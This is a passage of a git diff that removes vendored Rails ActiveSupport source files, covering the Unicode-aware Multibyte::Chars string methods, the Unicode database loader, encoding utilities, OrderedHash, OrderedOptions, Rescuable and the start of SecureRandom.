-        index = @wrapped_string.rindex(needle, wrapped_offset)
-        index ? (self.class.u_unpack(@wrapped_string.slice(0...index)).size) : nil
-      end
-
-      # Like <tt>String#[]=</tt>, except instead of byte offsets you specify character offsets.
-      #
-      # Example:
-      #
-      #   s = "Müller"
-      #   s.mb_chars[2] = "e" # Replace character with offset 2
-      #   s
-      #   #=> "Müeler"
-      #
-      #   s = "Müller"
-      #   s.mb_chars[1, 2] = "ö" # Replace 2 characters at character offset 1
-      #   s
-      #   #=> "Möler"
-      def []=(*args)
-        replace_by = args.pop
-        # Indexed replace with regular expressions already works
-        if args.first.is_a?(Regexp)
-          @wrapped_string[*args] = replace_by
-        else
-          result = self.class.u_unpack(@wrapped_string)
-          if args[0].is_a?(Fixnum)
-            raise IndexError, "index #{args[0]} out of string" if args[0] >= result.length
-            min = args[0]
-            max = args[1].nil? ? min : (min + args[1] - 1)
-            range = Range.new(min, max)
-            replace_by = [replace_by].pack('U') if replace_by.is_a?(Fixnum)
-          elsif args.first.is_a?(Range)
-            raise RangeError, "#{args[0]} out of range" if args[0].min >= result.length
-            range = args[0]
-          else
-            needle = args[0].to_s
-            min = index(needle)
-            max = min + self.class.u_unpack(needle).length - 1
-            range = Range.new(min, max)
-          end
-          result[range] = self.class.u_unpack(replace_by)
-          @wrapped_string.replace(result.pack('U*'))
-        end
-      end
-
-      # Works just like <tt>String#rjust</tt>, only integer specifies characters instead of bytes.
-      #
-      # Example:
-      #
-      #   "¾ cup".mb_chars.rjust(8).to_s
-      #   #=> "   ¾ cup"
-      #
-      #   "¾ cup".mb_chars.rjust(8, " ").to_s # Use non-breaking whitespace
-      #   #=> "   ¾ cup"
-      def rjust(integer, padstr=' ')
-        justify(integer, :right, padstr)
-      end
-
-      # Works just like <tt>String#ljust</tt>, only integer specifies characters instead of bytes.
-      #
-      # Example:
-      #
-      #   "¾ cup".mb_chars.rjust(8).to_s
-      #   #=> "¾ cup   "
-      #
-      #   "¾ cup".mb_chars.rjust(8, " ").to_s # Use non-breaking whitespace
-      #   #=> "¾ cup   "
-      def ljust(integer, padstr=' ')
-        justify(integer, :left, padstr)
-      end
-
-      # Works just like <tt>String#center</tt>, only integer specifies characters instead of bytes.
-      #
-      # Example:
-      #
-      #   "¾ cup".mb_chars.center(8).to_s
-      #   #=> " ¾ cup  "
-      #
-      #   "¾ cup".mb_chars.center(8, " ").to_s # Use non-breaking whitespace
-      #   #=> " ¾ cup  "
-      def center(integer, padstr=' ')
-        justify(integer, :center, padstr)
-      end
-
-      # Strips entire range of Unicode whitespace from the right of the string.
-      def rstrip
-        chars(@wrapped_string.gsub(UNICODE_TRAILERS_PAT, ''))
-      end
-
-      # Strips entire range of Unicode whitespace from the left of the string.
-      def lstrip
-        chars(@wrapped_string.gsub(UNICODE_LEADERS_PAT, ''))
-      end
-
-      # Strips entire range of Unicode whitespace from the right and left of the string.
-      def strip
-        rstrip.lstrip
-      end
-
-      # Returns the number of codepoints in the string
-      def size
-        self.class.u_unpack(@wrapped_string).size
-      end
-      alias_method :length, :size
-
-      # Reverses all characters in the string.
-      #
-      # Example:
-      #   'Café'.mb_chars.reverse.to_s #=> 'éfaC'
-      def reverse
-        chars(self.class.g_unpack(@wrapped_string).reverse.flatten.pack('U*'))
-      end
-
-      # Implements Unicode-aware slice with codepoints. Slicing on one point returns the codepoints for that
-      # character.
-      #
-      # Example:
-      #   'こんにちは'.mb_chars.slice(2..3).to_s #=> "にち"
-      def slice(*args)
-        if args.size > 2
-          raise ArgumentError, "wrong number of arguments (#{args.size} for 1)" # Do as if we were native
-        elsif (args.size == 2 && !(args.first.is_a?(Numeric) || args.first.is_a?(Regexp)))
-          raise TypeError, "cannot convert #{args.first.class} into Integer" # Do as if we were native
-        elsif (args.size == 2 && !args[1].is_a?(Numeric))
-          raise TypeError, "cannot convert #{args[1].class} into Integer" # Do as if we were native
-        elsif args[0].kind_of? Range
-          cps = self.class.u_unpack(@wrapped_string).slice(*args)
-          result = cps.nil? ? nil : cps.pack('U*')
-        elsif args[0].kind_of? Regexp
-          result = @wrapped_string.slice(*args)
-        elsif args.size == 1 && args[0].kind_of?(Numeric)
-          character = self.class.u_unpack(@wrapped_string)[args[0]]
-          result = character.nil? ? nil : [character].pack('U')
-        else
-          result = self.class.u_unpack(@wrapped_string).slice(*args).pack('U*')
-        end
-        result.nil? ? nil : chars(result)
-      end
-      alias_method :[], :slice
-
-      # Like <tt>String#slice!</tt>, except instead of byte offsets you specify character offsets.
-      #
-      # Example:
-      #   s = 'こんにちは'
-      #   s.mb_chars.slice!(2..3).to_s #=> "にち"
-      #   s #=> "こんは"
-      def slice!(*args)
-        slice = self[*args]
-        self[*args] = ''
-        slice
-      end
-
-      # Returns the codepoint of the first character in the string.
-      #
-      # Example:
-      #   'こんにちは'.mb_chars.ord #=> 12371
-      def ord
-        self.class.u_unpack(@wrapped_string)[0]
-      end
-
-      # Convert characters in the string to uppercase.
-      #
-      # Example:
-      #   'Laurent, òu sont les tests?'.mb_chars.upcase.to_s #=> "LAURENT, ÒU SONT LES TESTS?"
-      def upcase
-        apply_mapping :uppercase_mapping
-      end
-
-      # Convert characters in the string to lowercase.
-      #
-      # Example:
-      #   'VĚDA A VÝZKUM'.mb_chars.downcase.to_s #=> "věda a výzkum"
-      def downcase
-        apply_mapping :lowercase_mapping
-      end
-
-      # Converts the first character to uppercase and the remainder to lowercase.
-      #
-      # Example:
-      #  'über'.mb_chars.capitalize.to_s #=> "Über"
-      def capitalize
-        (slice(0) || chars('')).upcase + (slice(1..-1) || chars('')).downcase
-      end
-
-      # Returns the KC normalization of the string by default. NFKC is considered the best normalization form for
-      # passing strings to databases and validations.
-      #
-      # * <tt>str</tt> - The string to perform normalization on.
-      # * <tt>form</tt> - The form you want to normalize in. Should be one of the following:
-      #   <tt>:c</tt>, <tt>:kc</tt>, <tt>:d</tt>, or <tt>:kd</tt>. Default is
-      #   ActiveSupport::Multibyte.default_normalization_form
-      def normalize(form=ActiveSupport::Multibyte.default_normalization_form)
-        # See http://www.unicode.org/reports/tr15, Table 1
-        codepoints = self.class.u_unpack(@wrapped_string)
-        chars(case form
-          when :d
-            self.class.reorder_characters(self.class.decompose_codepoints(:canonical, codepoints))
-          when :c
-            self.class.compose_codepoints(self.class.reorder_characters(self.class.decompose_codepoints(:canonical, codepoints)))
-          when :kd
-            self.class.reorder_characters(self.class.decompose_codepoints(:compatability, codepoints))
-          when :kc
-            self.class.compose_codepoints(self.class.reorder_characters(self.class.decompose_codepoints(:compatability, codepoints)))
-          else
-            raise ArgumentError, "#{form} is not a valid normalization variant", caller
-        end.pack('U*'))
-      end
-
-      # Performs canonical decomposition on all the characters.
-      #
-      # Example:
-      #   'é'.length #=> 2
-      #   'é'.mb_chars.decompose.to_s.length #=> 3
-      def decompose
-        chars(self.class.decompose_codepoints(:canonical, self.class.u_unpack(@wrapped_string)).pack('U*'))
-      end
-
-      # Performs composition on all the characters.
-      #
-      # Example:
-      #   'é'.length #=> 3
-      #   'é'.mb_chars.compose.to_s.length #=> 2
-      def compose
-        chars(self.class.compose_codepoints(self.class.u_unpack(@wrapped_string)).pack('U*'))
-      end
-
-      # Returns the number of grapheme clusters in the string.
-      #
-      # Example:
-      #   'क्षि'.mb_chars.length #=> 4
-      #   'क्षि'.mb_chars.g_length #=> 3
-      def g_length
-        self.class.g_unpack(@wrapped_string).length
-      end
-
-      # Replaces all ISO-8859-1 or CP1252 characters by their UTF-8 equivalent resulting in a valid UTF-8 string.
-      def tidy_bytes
-        chars(self.class.tidy_bytes(@wrapped_string))
-      end
-
-      %w(lstrip rstrip strip reverse upcase downcase tidy_bytes capitalize).each do |method|
-        define_method("#{method}!") do |*args|
-          unless args.nil?
-            @wrapped_string = send(method, *args).to_s
-          else
-            @wrapped_string = send(method).to_s
-          end
-          self
-        end
-      end
-
-      class << self
-
-        # Unpack the string at codepoints boundaries. Raises an EncodingError when the encoding of the string isn't
-        # valid UTF-8.
-        #
-        # Example:
-        #   Chars.u_unpack('Café') #=> [67, 97, 102, 233]
-        def u_unpack(string)
-          begin
-            string.unpack 'U*'
-          rescue ArgumentError
-            raise EncodingError, 'malformed UTF-8 character'
-          end
-        end
-
-        # Detect whether the codepoint is in a certain character class. Returns +true+ when it's in the specified
-        # character class and +false+ otherwise. Valid character classes are: <tt>:cr</tt>, <tt>:lf</tt>, <tt>:l</tt>,
-        # <tt>:v</tt>, <tt>:lv</tt>, <tt>:lvt</tt> and <tt>:t</tt>.
-        #
-        # Primarily used by the grapheme cluster support.
-        def in_char_class?(codepoint, classes)
-          classes.detect { |c| UCD.boundary[c] === codepoint } ? true : false
-        end
-
-        # Unpack the string at grapheme boundaries. Returns a list of character lists.
-        #
-        # Example:
-        #   Chars.g_unpack('क्षि') #=> [[2325, 2381], [2359], [2367]]
-        #   Chars.g_unpack('Café') #=> [[67], [97], [102], [233]]
-        def g_unpack(string)
-          codepoints = u_unpack(string)
-          unpacked = []
-          pos = 0
-          marker = 0
-          eoc = codepoints.length
-          while(pos < eoc)
-            pos += 1
-            previous = codepoints[pos-1]
-            current = codepoints[pos]
-            if (
-                # CR X LF
-                one = ( previous == UCD.boundary[:cr] and current == UCD.boundary[:lf] ) or
-                # L X (L|V|LV|LVT)
-                two = ( UCD.boundary[:l] === previous and in_char_class?(current, [:l,:v,:lv,:lvt]) ) or
-                # (LV|V) X (V|T)
-                three = ( in_char_class?(previous, [:lv,:v]) and in_char_class?(current, [:v,:t]) ) or
-                # (LVT|T) X (T)
-                four = ( in_char_class?(previous, [:lvt,:t]) and UCD.boundary[:t] === current ) or
-                # X Extend
-                five = (UCD.boundary[:extend] === current)
-              )
-            else
-              unpacked << codepoints[marker..pos-1]
-              marker = pos
-            end
-          end 
-          unpacked
-        end
-
-        # Reverse operation of g_unpack.
-        #
-        # Example:
-        #   Chars.g_pack(Chars.g_unpack('क्षि')) #=> 'क्षि'
-        def g_pack(unpacked)
-          (unpacked.flatten).pack('U*')
-        end
-
-        def padding(padsize, padstr=' ') #:nodoc:
-          if padsize != 0
-            new(padstr * ((padsize / u_unpack(padstr).size) + 1)).slice(0, padsize)
-          else
-            ''
-          end
-        end
-
-        # Re-order codepoints so the string becomes canonical.
-        def reorder_characters(codepoints)
-          length = codepoints.length- 1
-          pos = 0
-          while pos < length do
-            cp1, cp2 = UCD.codepoints[codepoints[pos]], UCD.codepoints[codepoints[pos+1]]
-            if (cp1.combining_class > cp2.combining_class) && (cp2.combining_class > 0)
-              codepoints[pos..pos+1] = cp2.code, cp1.code
-              pos += (pos > 0 ? -1 : 1)
-            else
-              pos += 1
-            end
-          end
-          codepoints
-        end
-
-        # Decompose composed characters to the decomposed form.
-        def decompose_codepoints(type, codepoints)
-          codepoints.inject([]) do |decomposed, cp|
-            # if it's a hangul syllable starter character
-            if HANGUL_SBASE <= cp and cp < HANGUL_SLAST
-              sindex = cp - HANGUL_SBASE
-              ncp = [] # new codepoints
-              ncp << HANGUL_LBASE + sindex / HANGUL_NCOUNT
-              ncp << HANGUL_VBASE + (sindex % HANGUL_NCOUNT) / HANGUL_TCOUNT
-              tindex = sindex % HANGUL_TCOUNT
-              ncp << (HANGUL_TBASE + tindex) unless tindex == 0
-              decomposed.concat ncp
-            # if the codepoint is decomposable in with the current decomposition type
-            elsif (ncp = UCD.codepoints[cp].decomp_mapping) and (!UCD.codepoints[cp].decomp_type || type == :compatability)
-              decomposed.concat decompose_codepoints(type, ncp.dup)
-            else
-              decomposed << cp
-            end
-          end
-        end
-
-        # Compose decomposed characters to the composed form.
-        def compose_codepoints(codepoints)
-          pos = 0
-          eoa = codepoints.length - 1
-          starter_pos = 0
-          starter_char = codepoints[0]
-          previous_combining_class = -1
-          while pos < eoa
-            pos += 1
-            lindex = starter_char - HANGUL_LBASE
-            # -- Hangul
-            if 0 <= lindex and lindex < HANGUL_LCOUNT
-              vindex = codepoints[starter_pos+1] - HANGUL_VBASE rescue vindex = -1
-              if 0 <= vindex and vindex < HANGUL_VCOUNT
-                tindex = codepoints[starter_pos+2] - HANGUL_TBASE rescue tindex = -1
-                if 0 <= tindex and tindex < HANGUL_TCOUNT
-                  j = starter_pos + 2
-                  eoa -= 2
-                else
-                  tindex = 0
-                  j = starter_pos + 1
-                  eoa -= 1
-                end
-                codepoints[starter_pos..j] = (lindex * HANGUL_VCOUNT + vindex) * HANGUL_TCOUNT + tindex + HANGUL_SBASE
-              end
-              starter_pos += 1
-              starter_char = codepoints[starter_pos]
-            # -- Other characters
-            else
-              current_char = codepoints[pos]
-              current = UCD.codepoints[current_char]
-              if current.combining_class > previous_combining_class
-                if ref = UCD.composition_map[starter_char]
-                  composition = ref[current_char]
-                else
-                  composition = nil
-                end
-                unless composition.nil?
-                  codepoints[starter_pos] = composition
-                  starter_char = composition
-                  codepoints.delete_at pos
-                  eoa -= 1
-                  pos -= 1
-                  previous_combining_class = -1
-                else
-                  previous_combining_class = current.combining_class
-                end
-              else
-                previous_combining_class = current.combining_class
-              end
-              if current.combining_class == 0
-                starter_pos = pos
-                starter_char = codepoints[pos]
-              end
-            end
-          end
-          codepoints
-        end
-
-        # Replaces all ISO-8859-1 or CP1252 characters by their UTF-8 equivalent resulting in a valid UTF-8 string.
-        def tidy_bytes(string)
-          string.split(//u).map do |c|
-            c.force_encoding(Encoding::ASCII) if c.respond_to?(:force_encoding)
-
-            if !ActiveSupport::Multibyte::VALID_CHARACTER['UTF-8'].match(c)
-              n = c.unpack('C')[0]
-              n < 128 ? n.chr :
-              n < 160 ? [UCD.cp1252[n] || n].pack('U') :
-              n < 192 ? "\xC2" + n.chr : "\xC3" + (n-64).chr
-            else
-              c
-            end
-          end.join
-        end
-      end
-
-      protected
-
-        def translate_offset(byte_offset) #:nodoc:
-          return nil if byte_offset.nil?
-          return 0   if @wrapped_string == ''
-          chunk = @wrapped_string[0..byte_offset]
-          begin
-            begin
-              chunk.unpack('U*').length - 1
-            rescue ArgumentError => e
-              chunk = @wrapped_string[0..(byte_offset+=1)]
-              # Stop retrying at the end of the string
-              raise e unless byte_offset < chunk.length 
-              # We damaged a character, retry
-              retry
-            end
-          # Catch the ArgumentError so we can throw our own
-          rescue ArgumentError 
-            raise EncodingError, 'malformed UTF-8 character'
-          end
-        end
-
-        def justify(integer, way, padstr=' ') #:nodoc:
-          raise ArgumentError, "zero width padding" if padstr.length == 0
-          padsize = integer - size
-          padsize = padsize > 0 ? padsize : 0
-          case way
-          when :right
-            result = @wrapped_string.dup.insert(0, self.class.padding(padsize, padstr))
-          when :left
-            result = @wrapped_string.dup.insert(-1, self.class.padding(padsize, padstr))
-          when :center
-            lpad = self.class.padding((padsize / 2.0).floor, padstr)
-            rpad = self.class.padding((padsize / 2.0).ceil, padstr)
-            result = @wrapped_string.dup.insert(0, lpad).insert(-1, rpad)
-          end
-          chars(result)
-        end
-
-        def apply_mapping(mapping) #:nodoc:
-          chars(self.class.u_unpack(@wrapped_string).map do |codepoint|
-            cp = UCD.codepoints[codepoint]
-            if cp and (ncp = cp.send(mapping)) and ncp > 0
-              ncp
-            else
-              codepoint
-            end
-          end.pack('U*'))
-        end
-
-        def chars(string) #:nodoc:
-          self.class.new(string)
-        end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/multibyte/exceptions.rb b/vendor/rails/activesupport/lib/active_support/multibyte/exceptions.rb
deleted file mode 100644
index 62066e3c..00000000
--- a/vendor/rails/activesupport/lib/active_support/multibyte/exceptions.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-# encoding: utf-8
-
-module ActiveSupport #:nodoc:
-  module Multibyte #:nodoc:
-    # Raised when a problem with the encoding was found.
-    class EncodingError < StandardError; end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/lib/active_support/multibyte/unicode_database.rb b/vendor/rails/activesupport/lib/active_support/multibyte/unicode_database.rb
deleted file mode 100644
index e9578b75..00000000
--- a/vendor/rails/activesupport/lib/active_support/multibyte/unicode_database.rb
+++ /dev/null
@@ -1,71 +0,0 @@
-# encoding: utf-8
-
-module ActiveSupport #:nodoc:
-  module Multibyte #:nodoc:
-    # Holds data about a codepoint in the Unicode database
-    class Codepoint
-      attr_accessor :code, :combining_class, :decomp_type, :decomp_mapping, :uppercase_mapping, :lowercase_mapping
-    end
-
-    # Holds static data from the Unicode database
-    class UnicodeDatabase
-      ATTRIBUTES = :codepoints, :composition_exclusion, :composition_map, :boundary, :cp1252
-
-      attr_writer(*ATTRIBUTES)
-
-      def initialize
-        @codepoints = Hash.new(Codepoint.new)
-        @composition_exclusion = []
-        @composition_map = {}
-        @boundary = {}
-        @cp1252 = {}
-      end
-
-      # Lazy load the Unicode database so it's only loaded when it's actually used
-      ATTRIBUTES.each do |attr_name|
-        class_eval(<<-EOS, __FILE__, __LINE__ + 1)
-          def #{attr_name}  # def codepoints
-            load            #   load
-            @#{attr_name}   #   @codepoints
-          end               # end
-        EOS
-      end
-
-      # Loads the Unicode database and returns all the internal objects of UnicodeDatabase.
-      def load
-        begin
-          @codepoints, @composition_exclusion, @composition_map, @boundary, @cp1252 = File.open(self.class.filename, 'rb') { |f| Marshal.load f.read }
-        rescue Exception => e
-            raise IOError.new("Couldn't load the Unicode tables for UTF8Handler (#{e.message}), ActiveSupport::Multibyte is unusable")
-        end
-
-        # Redefine the === method so we can write shorter rules for grapheme cluster breaks
-        @boundary.each do |k,_|
-          @boundary[k].instance_eval do
-            def ===(other)
-              detect { |i| i === other } ? true : false
-            end
-          end if @boundary[k].kind_of?(Array)
-        end
-
-        # define attr_reader methods for the instance variables
-        class << self
-          attr_reader(*ATTRIBUTES)
-        end
-      end
-
-      # Returns the directory in which the data files are stored
-      def self.dirname
-        File.dirname(__FILE__) + '/../values/'
-      end
-
-      # Returns the filename for the data file for this version
-      def self.filename
-        File.expand_path File.join(dirname, "unicode_tables.dat")
-      end
-    end
-
-    # UniCode Database
-    UCD = UnicodeDatabase.new
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/multibyte/utils.rb b/vendor/rails/activesupport/lib/active_support/multibyte/utils.rb
deleted file mode 100644
index 94b393ce..00000000
--- a/vendor/rails/activesupport/lib/active_support/multibyte/utils.rb
+++ /dev/null
@@ -1,60 +0,0 @@
-# encoding: utf-8
-
-module ActiveSupport #:nodoc:
-  module Multibyte #:nodoc:
-    if Kernel.const_defined?(:Encoding)
-      # Returns a regular expression that matches valid characters in the current encoding
-      def self.valid_character
-        VALID_CHARACTER[Encoding.default_external.to_s]
-      end
-    else
-      def self.valid_character
-        case $KCODE
-        when 'UTF8'
-          VALID_CHARACTER['UTF-8']
-        when 'SJIS'
-          VALID_CHARACTER['Shift_JIS']
-        end
-      end
-    end
-
-    if 'string'.respond_to?(:valid_encoding?)
-      # Verifies the encoding of a string
-      def self.verify(string)
-        string.valid_encoding?
-      end
-    else
-      def self.verify(string)
-        if expression = valid_character
-          # Splits the string on character boundaries, which are determined based on $KCODE.
-          string.split(//).all? { |c| expression =~ c }
-        else
-          true
-        end
-      end
-    end
-
-    # Verifies the encoding of the string and raises an exception when it's not valid
-    def self.verify!(string)
-      raise EncodingError.new("Found characters with invalid encoding") unless verify(string)
-    end
-
-    if 'string'.respond_to?(:force_encoding)
-      # Removes all invalid characters from the string.
-      #
-      # Note: this method is a no-op in Ruby 1.9
-      def self.clean(string)
-        string
-      end
-    else
-      def self.clean(string)
-        if expression = valid_character
-          # Splits the string on character boundaries, which are determined based on $KCODE.
-          string.split(//).grep(expression).join
-        else
-          string
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/option_merger.rb b/vendor/rails/activesupport/lib/active_support/option_merger.rb
deleted file mode 100644
index 63662b75..00000000
--- a/vendor/rails/activesupport/lib/active_support/option_merger.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-module ActiveSupport
-  class OptionMerger #:nodoc:
-    instance_methods.each do |method|
-      undef_method(method) if method !~ /^(__|instance_eval|class|object_id)/
-    end
-
-    def initialize(context, options)
-      @context, @options = context, options
-    end
-
-    private
-      def method_missing(method, *arguments, &block)
-        if arguments.last.is_a?(Proc)
-          proc = arguments.pop
-          arguments << lambda { |*args| @options.deep_merge(proc.call(*args)) }
-        else
-          arguments << (arguments.last.respond_to?(:to_hash) ? @options.deep_merge(arguments.pop) : @options.dup)
-        end
-
-        @context.__send__(method, *arguments, &block)
-      end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/ordered_hash.rb b/vendor/rails/activesupport/lib/active_support/ordered_hash.rb
deleted file mode 100644
index 5e48c021..00000000
--- a/vendor/rails/activesupport/lib/active_support/ordered_hash.rb
+++ /dev/null
@@ -1,168 +0,0 @@
-require 'yaml'
-
-YAML.add_builtin_type("omap") do |type, val|
-  ActiveSupport::OrderedHash[val.map(&:to_a).map(&:first)]
-end
-
-# OrderedHash is namespaced to prevent conflicts with other implementations
-module ActiveSupport
-  class OrderedHash < ::Hash #:nodoc:
-    def to_yaml_type
-      "!tag:yaml.org,2002:omap"
-    end
-
-    def to_yaml(opts = {})
-      YAML.quick_emit(self, opts) do |out|
-        out.seq(taguri, to_yaml_style) do |seq|
-          each do |k, v|
-            seq.add(k => v)
-          end
-        end
-      end
-    end
-
-    # Hash is ordered in Ruby 1.9!
-    if RUBY_VERSION < '1.9'
-      def initialize(*args, &block)
-        super
-        @keys = []
-      end
-
-      def self.[](*args)
-        ordered_hash = new
-
-        if (args.length == 1 && args.first.is_a?(Array))
-          args.first.each do |key_value_pair|
-            next unless (key_value_pair.is_a?(Array))
-            ordered_hash[key_value_pair[0]] = key_value_pair[1]
-          end
-
-          return ordered_hash
-        end
-
-        unless (args.size % 2 == 0)
-          raise ArgumentError.new("odd number of arguments for Hash")
-        end
-
-        args.each_with_index do |val, ind|
-          next if (ind % 2 != 0)
-          ordered_hash[val] = args[ind + 1]
-        end
-
-        ordered_hash
-      end
-
-      def initialize_copy(other)
-        super
-        # make a deep copy of keys
-        @keys = other.keys
-      end
-
-      def []=(key, value)
-        @keys << key if !has_key?(key)
-        super
-      end
-
-      def delete(key)
-        if has_key? key
-          index = @keys.index(key)
-          @keys.delete_at index
-        end
-        super
-      end
-
-      def delete_if
-        super
-        sync_keys!
-        self
-      end
-
-      def reject!
-        super
-        sync_keys!
-        self
-      end
-
-      def reject(&block)
-        dup.reject!(&block)
-      end
-
-      def keys
-        @keys.dup
-      end
-
-      def values
-        @keys.collect { |key| self[key] }
-      end
-
-      def to_hash
-        self
-      end
-
-      def to_a
-        @keys.map { |key| [ key, self[key] ] }
-      end
-
-      def each_key
-        @keys.each { |key| yield key }
-      end
-
-      def each_value
-        @keys.each { |key| yield self[key]}
-      end
-
-      def each
-        @keys.each {|key| yield [key, self[key]]}
-      end
-
-      alias_method :each_pair, :each
-
-      def clear
-        super
-        @keys.clear
-        self
-      end
-
-      def shift
-        k = @keys.first
-        v = delete(k)
-        [k, v]
-      end
-
-      def merge!(other_hash)
-        if block_given?
-          other_hash.each { |k, v| self[k] = key?(k) ? yield(k, self[k], v) : v }
-        else
-          other_hash.each { |k, v| self[k] = v }
-        end
-        self
-      end
-
-      alias_method :update, :merge!
-
-      def merge(other_hash, &block)
-        dup.merge!(other_hash, &block)
-      end
-
-      # When replacing with another hash, the initial order of our keys must come from the other hash -ordered or not.
-      def replace(other)
-        super
-        @keys = other.keys
-        self
-      end
-
-      def invert
-        OrderedHash[self.to_a.map!{|key_value_pair| key_value_pair.reverse}]
-      end
-
-      def inspect
-        "#<OrderedHash #{super}>"
-      end
-
-      private
-        def sync_keys!
-          @keys.delete_if {|k| !has_key?(k)}
-        end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/ordered_options.rb b/vendor/rails/activesupport/lib/active_support/ordered_options.rb
deleted file mode 100644
index 64204518..00000000
--- a/vendor/rails/activesupport/lib/active_support/ordered_options.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-module ActiveSupport #:nodoc:
-  class OrderedOptions < OrderedHash #:nodoc:
-    def []=(key, value)
-      super(key.to_sym, value)
-    end
-
-    def [](key)
-      super(key.to_sym)
-    end
-
-    def method_missing(name, *args)
-      if name.to_s =~ /(.*)=$/
-        self[$1.to_sym] = args.first
-      else
-        self[name]
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/rescuable.rb b/vendor/rails/activesupport/lib/active_support/rescuable.rb
deleted file mode 100644
index c27c4ddb..00000000
--- a/vendor/rails/activesupport/lib/active_support/rescuable.rb
+++ /dev/null
@@ -1,108 +0,0 @@
-module ActiveSupport
-  # Rescuable module adds support for easier exception handling.
-  module Rescuable
-    def self.included(base) # :nodoc:
-      base.class_inheritable_accessor :rescue_handlers
-      base.rescue_handlers = []
-
-      base.extend(ClassMethods)
-    end
-
-    module ClassMethods
-      # Rescue exceptions raised in controller actions.
-      #
-      # <tt>rescue_from</tt> receives a series of exception classes or class
-      # names, and a trailing <tt>:with</tt> option with the name of a method
-      # or a Proc object to be called to handle them. Alternatively a block can
-      # be given.
-      #
-      # Handlers that take one argument will be called with the exception, so
-      # that the exception can be inspected when dealing with it.
-      #
-      # Handlers are inherited. They are searched from right to left, from
-      # bottom to top, and up the hierarchy. The handler of the first class for
-      # which <tt>exception.is_a?(klass)</tt> holds true is the one invoked, if
-      # any.
-      #
-      #   class ApplicationController < ActionController::Base
-      #     rescue_from User::NotAuthorized, :with => :deny_access # self defined exception
-      #     rescue_from ActiveRecord::RecordInvalid, :with => :show_errors
-      #
-      #     rescue_from 'MyAppError::Base' do |exception|
-      #       render :xml => exception, :status => 500
-      #     end
-      #
-      #     protected
-      #       def deny_access
-      #         ...
-      #       end
-      #
-      #       def show_errors(exception)
-      #         exception.record.new_record? ? ...
-      #       end
-      #   end
-      def rescue_from(*klasses, &block)
-        options = klasses.extract_options!
-
-        unless options.has_key?(:with)
-          if block_given?
-            options[:with] = block
-          else
-            raise ArgumentError, "Need a handler. Supply an options hash that has a :with key as the last argument."
-          end
-        end
-
-        klasses.each do |klass|
-          key = if klass.is_a?(Class) && klass <= Exception
-            klass.name
-          elsif klass.is_a?(String)
-            klass
-          else
-            raise ArgumentError, "#{klass} is neither an Exception nor a String"
-          end
-
-          # put the new handler at the end because the list is read in reverse
-          rescue_handlers << [key, options[:with]]
-        end
-      end
-    end
-
-    # Tries to rescue the exception by looking up and calling a registered handler.
-    def rescue_with_handler(exception)
-      if handler = handler_for_rescue(exception)
-        handler.arity != 0 ? handler.call(exception) : handler.call
-        true # don't rely on the return value of the handler
-      end
-    end
-
-    def handler_for_rescue(exception)
-      # We go from right to left because pairs are pushed onto rescue_handlers
-      # as rescue_from declarations are found.
-      _, rescuer = Array(rescue_handlers).reverse.detect do |klass_name, handler|
-        # The purpose of allowing strings in rescue_from is to support the
-        # declaration of handler associations for exception classes whose
-        # definition is yet unknown.
-        #
-        # Since this loop needs the constants it would be inconsistent to
-        # assume they should exist at this point. An early raised exception
-        # could trigger some other handler and the array could include
-        # precisely a string whose corresponding constant has not yet been
-        # seen. This is why we are tolerant to unknown constants.
-        #
-        # Note that this tolerance only matters if the exception was given as
-        # a string, otherwise a NameError will be raised by the interpreter
-        # itself when rescue_from CONSTANT is executed.
-        klass = self.class.const_get(klass_name) rescue nil
-        klass ||= klass_name.constantize rescue nil
-        exception.is_a?(klass) if klass
-      end
-
-      case rescuer
-      when Symbol
-        method(rescuer)
-      when Proc
-        rescuer.bind(self)
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/secure_random.rb b/vendor/rails/activesupport/lib/active_support/secure_random.rb
deleted file mode 100644
index cfbce4d7..00000000
--- a/vendor/rails/activesupport/lib/active_support/secure_random.rb
+++ /dev/null
@@ -1,199 +0,0 @@
-begin
-  require 'securerandom'
-rescue LoadError
-end
-
-module ActiveSupport
-  if defined?(::SecureRandom)
-    # Use Ruby's SecureRandom library if available.
-    SecureRandom = ::SecureRandom # :nodoc:
-  else
-    # = Secure random number generator interface.
-    #
-    # This library is an interface for secure random number generator which is
-    # suitable for generating session key in HTTP cookies, etc.
-    #
-    # It supports following secure random number generators.
-    #
-    # * openssl
-    # * /dev/urandom
-    # * Win32
-    #
-    # *Note*: This module is based on the SecureRandom library from Ruby 1.9,
-    # revision 18786, August 23 2008. It's 100% interface-compatible with Ruby 1.9's
-    # SecureRandom library.
-    #
-    # == Example
-    #
-    #  # random hexadecimal string.
-    #  p SecureRandom.hex(10) #=> "52750b30ffbc7de3b362"
-    #  p SecureRandom.hex(10) #=> "92b15d6c8dc4beb5f559"
-    #  p SecureRandom.hex(11) #=> "6aca1b5c58e4863e6b81b8"
-    #  p SecureRandom.hex(12) #=> "94b2fff3e7fd9b9c391a2306"
-    #  p SecureRandom.hex(13) #=> "39b290146bea6ce975c37cfc23"
-    #  ...
-    #
-    #  # random base64 string.
-    #  p SecureRandom.base64(10) #=> "EcmTPZwWRAozdA=="
-    #  p SecureRandom.base64(10) #=> "9b0nsevdwNuM/w=="
-    #  p SecureRandom.base64(10) #=> "KO1nIU+p9DKxGg=="
-    #  p SecureRandom.base64(11) #=> "l7XEiFja+8EKEtY="
-    #  p SecureRandom.base64(12) #=> "7kJSM/MzBJI+75j8"
-    #  p SecureRandom.base64(13) #=> "vKLJ0tXBHqQOuIcSIg=="
-    #  ...
-    #
-    #  # random binary string.
-    #  p SecureRandom.random_bytes(10) #=> "\016\t{\370g\310pbr\301"
-    #  p SecureRandom.random_bytes(10) #=> "\323U\030TO\234\357\020\a\337"
-    #  ...
-    module SecureRandom
-      # SecureRandom.random_bytes generates a random binary string.
-      #
-      # The argument n specifies the length of the result string.
-      #
-      # If n is not specified, 16 is assumed.
-      # It may be larger in future.
-      #
-      # If secure random number generator is not available,
-      # NotImplementedError is raised.
